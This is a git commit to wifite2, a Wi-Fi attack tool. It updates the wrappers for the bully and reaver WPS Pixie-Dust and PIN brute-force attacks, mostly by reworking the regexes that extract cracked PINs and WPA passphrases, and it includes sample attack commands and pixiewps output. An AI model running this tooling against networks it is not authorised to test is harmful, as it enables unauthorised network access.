Trying to fix bully & reaver Pixie-Dust attacks.

Haven't even looked at PIN attacks yet.

Hopefully helps out with #28
This commit is contained in:
derv82
2018-03-03 23:40:15 -05:00
parent 1a063edc42
commit 82f0a2ae96
5 changed files with 144 additions and 72 deletions

48
TODO.md
View File

@@ -65,36 +65,36 @@ If it's possible to run these programs on Windows or OSX, Wifite should suporrt
------------------------------------------------------
### WPS detection
### WPS Attacks
See https://github.com/derv82/wifite2/issues/62 for discussion.
Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used?
WASH
* Wash does not seem to detect APs when given a .cap file
* Wash can scan, but is slow and does not provide as much info as airodump
* We could run Wash as a daemon on the same channel as airodump...
* Channel-hopping might interfere with each-other?
* Could we tell wash to channel hop & tell airodump-ng to not channelhop? Vice versa?
Ideally for Pixie-Dust, we'd have:
AIRODUMP
* Airodump-ng detects WPS, but does not output to CSV
* Airodump-ng WPS detection requires parsing airodump's STDOUT
1. Switch to set bully/reaver timeout
2. Identical counters between bully/reaver (failures, timeouts, lockouts)
* I don't think users should be able to set failure/timeout thresholds (no switches).
3. Identical statuses between bully/reaver.
* Errors: "WPSFail", "Timeout", "NoAssoc", etc
* Statuses: "Waiting for target", "Trying PIN", "Sending M2 message", "Running pixiewps", etc.
* "Step X/Y" is nice, but not entirely accurate.
* It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed.
3. Countdown timer until attack is aborted (e.g. 5min)
4. Countdown timer on "step timeout" (time since last status changed, e.g. 30s)
TSHARK
* DIY: Extract Beacon frames from the .cap file with WPS flags...
* `tshark -r f.cap -R "wps.primary_device_type.category == 6" -n -2`
Order of statuses:
1. Waiting for beacon
2. Associating with target
3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4)
4. Running pixiewps
5. Cracked or Failed
We can extract WPS networks' BSSID and WPS lock status:
And as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH.
PIN cracking takes days and most APs auto-lock after 3 attempts.
Multi-day (possibly multi-month) attacks aren't a good fit for Wifite.
Users with that kind of dedication can run bully/reaver themselves.
```bash
% tshark -r withwps-01.cap -n -Y "wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff" -T fields -e wlan.ta -e wps.ap_setup_locked -E separator=,
# Output:
fc:51:a4:1e:11:67,
98:e7:f4:90:f1:12,0x00000001
10:13:31:30:35:2c,
```
--------------------------------
------------------------------------------------------
### Directory structure

View File

@@ -2,11 +2,8 @@
# -*- coding: utf-8 -*-
from Attack import Attack
from Airodump import Airodump
from Color import Color
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
from Process import Process
from Bully import Bully
from Reaver import Reaver
@@ -29,6 +26,8 @@ class AttackWPS(Attack):
if Configuration.use_bully:
# Bully: Pixie-dust
bully = Bully(self.target, pixie=True)
bully.run()
bully.stop()
if bully.crack_result is not None:
self.crack_result = bully.crack_result
return True
@@ -51,6 +50,8 @@ class AttackWPS(Attack):
if Configuration.use_bully:
# Bully: PIN guessing
bully = Bully(self.target, pixie=False)
bully.run()
bully.stop()
if bully.crack_result is not None:
self.crack_result = bully.crack_result
return True

View File

@@ -7,6 +7,7 @@ from Color import Color
from Timer import Timer
from Process import Process
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
import os, time, re
from threading import Thread
@@ -37,14 +38,11 @@ class Bully(Attack):
"--force",
"-v", "4"
]
#self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"])
if self.pixie:
self.cmd.append("--pixiewps")
self.cmd.append(Configuration.interface)
self.bully_proc = None
self.run()
self.stop()
def attack_type(self):
return "Pixie-Dust" if self.pixie else "PIN Attack"
@@ -123,13 +121,13 @@ class Bully(Attack):
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
@@ -138,7 +136,7 @@ class Bully(Attack):
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
@@ -161,48 +159,54 @@ class Bully(Attack):
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ...
pixie_re = re.compile(r".*Running pixiewps with the information").match(line)
pixie_re = re.search(r".*Running pixiewps with the information", line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password'
pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
if pin_re: self.cracked_pin = pin_re.group(1)
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
if key_re: self.cracked_key = key_re.group(1)
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re:
self.cracked_key = key_re.group(1)
#warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(
airodump_target.essid,
airodump_target.bssid,
self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
self.crack_result.dump()
return True
else:
return False
@@ -213,3 +217,12 @@ class Bully(Attack):
def __del__(self):
self.stop()
if __name__ == '__main__':
stdout = " [*] Pin is '11867722', key is '9a6f7997'"
Configuration.initialize(False)
from Target import Target
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
target = Target(fields)
b = Bully(target)
b.parse_line(stdout)

View File

@@ -16,12 +16,16 @@ class CrackResultWPS(CrackResult):
super(CrackResultWPS, self).__init__()
def dump(self):
if self.essid:
if self.essid is not None:
Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid))
if self.psk is None:
psk = '{O}N/A{W}'
else:
psk = '{G}%s{W}' % self.psk
Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid))
Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12))
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), self.psk))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk))
def to_dict(self):
return {

View File

@@ -70,7 +70,7 @@ class Reaver(Attack):
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() is not None:
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
@@ -78,11 +78,12 @@ class Reaver(Attack):
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
if pin is not None:
# We cracked it.
bssid = self.target.bssid
Color.clear_entire_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
@@ -219,7 +220,11 @@ class Reaver(Attack):
# CHECK FOR CRACK
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
if pin and psk and ssid:
if pin is not None:
if psk is None:
psk = ''
elif ssid is None:
ssid = target.essid
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
@@ -238,15 +243,14 @@ class Reaver(Attack):
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
pin_current = int(match.group(1))
pin_total = int(match.group(2))
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
pin = int(match.group(1))
if pin not in pins:
# Reset failures on successful try
failures = 0
@@ -282,14 +286,14 @@ class Reaver(Attack):
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
eta = match.group(1)
state = '{C}cracking, ETA: {G}%s{W}' % eta
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
eta = match.group(1)
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
pins_left = int(match.group(2))
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
@@ -341,24 +345,29 @@ class Reaver(Attack):
pin = psk = ssid = None
# Check for PIN.
# PIN: Printed *before* the attack completes.
regex = re.search('WPS pin: *([0-9]*)', stdout)
''' [+] WPS pin: 11867722'''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
if regex:
pin = regex.groups()[0]
# PIN: Printed when attack is completed.
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
if regex:
pin = regex.groups()[0]
pin = regex.group(1)
# Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.groups()[0]
psk = regex.group(1)
# Check for SSID
regex = re.search("AP SSID: *'(.+)'", stdout)
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex:
ssid = regex.groups()[0]
ssid = regex.group(1)
# Check (again) for SSID
if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex:
ssid = regex.group(1)
return (pin, psk, ssid)
@@ -372,7 +381,7 @@ class Reaver(Attack):
if __name__ == '__main__':
stdout = '''
old_stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
@@ -391,6 +400,51 @@ Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
print Reaver.get_pin_psk_ssid(stdout)
pass
# From vom513 in https://github.com/derv82/wifite2/issues/60
new_stdout = '''
[+] Switching wlan1mon to channel 5
[+] Waiting for beacon from EC:1A:59:37:70:0E
[+] Received beacon from EC:1A:59:37:70:0E
[+] Vendor: RealtekS
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
Pixiewps 1.4
[?] Mode: 3 (RTL819x)
[*] Seed N1: -
[*] Seed ES1: -
[*] Seed ES2: -
[*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450
[*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d
[*] ES1: 04d48dc20ec785762ce1a21a50bc46c2
[*] ES2: 04d48dc20ec785762ce1a21a50bc46c2
[+] WPS pin: 11867722
[*] Time taken: 0 s 21 ms
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print ""
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()